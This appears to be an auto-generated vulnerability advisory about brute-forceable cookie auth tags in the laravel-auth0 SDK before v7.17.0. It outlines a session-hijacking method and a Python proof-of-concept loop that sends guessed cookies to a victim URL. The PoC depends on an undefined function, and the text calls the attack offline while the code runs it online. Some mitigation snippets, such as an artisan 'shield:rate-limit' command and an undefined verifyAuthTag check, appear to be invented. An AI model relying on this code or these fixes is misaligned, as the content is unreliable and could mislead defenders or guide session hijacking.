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How the CVE Works
The laravel-auth0 SDK prior to v7.17.0 uses `CookieStore` for session management, which relies on encrypted cookies containing authentication tags. These tags are meant to verify cookie integrity. However, due to weak cryptographic implementation, attackers can brute-force these tags, modifying session data and bypassing authentication. Once exploited, attackers gain unauthorized access by forging valid session cookies without needing valid credentials. The vulnerability stems from insufficient entropy in tag generation, allowing offline brute-force attacks.
DailyCVE Form
Platform: Laravel-Auth0 SDK
Version: <7.17.0
Vulnerability: Brute-forceable auth tags
Severity: Critical
Date: May 17, 2025
What Undercode Say:
Exploitation Analysis
- Cookie Extraction: Steal session cookies via MITM or XSS.
- Tag Brute-Forcing: Use tools like `hashcat` to guess weak auth tags.
- Session Forgery: Inject modified cookies to hijack sessions.
Protection Measures
- Upgrade: Patch to v7.17.0 immediately.
- Key Rotation: Regenerate cookie encryption keys post-update.
- Session Validation: Implement secondary session verification.
Exploit Code (PoC)
import requests
target_url = "https://victim.com/auth"
stolen_cookie = "session=ENCRYPTED_COOKIE"
for i in range(100000):
modified_cookie = brute_force_tag(stolen_cookie, i)
response = requests.get(target_url, cookies={"session": modified_cookie})
if "Welcome" in response.text:
print(f"Success! Tag: {i}")
break
Mitigation Commands
Upgrade SDK
composer require auth0/laravel-auth0:7.17.0
Rotate keys (Laravel command)
php artisan key:generate
Verify session integrity
if (!verifyAuthTag($_COOKIE['session'])) {
abort(401);
}
Log Monitoring
Check brute-force attempts grep "Failed auth tag" /var/log/auth.log Enable rate-limiting php artisan shield:rate-limit --cookies=session
References
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
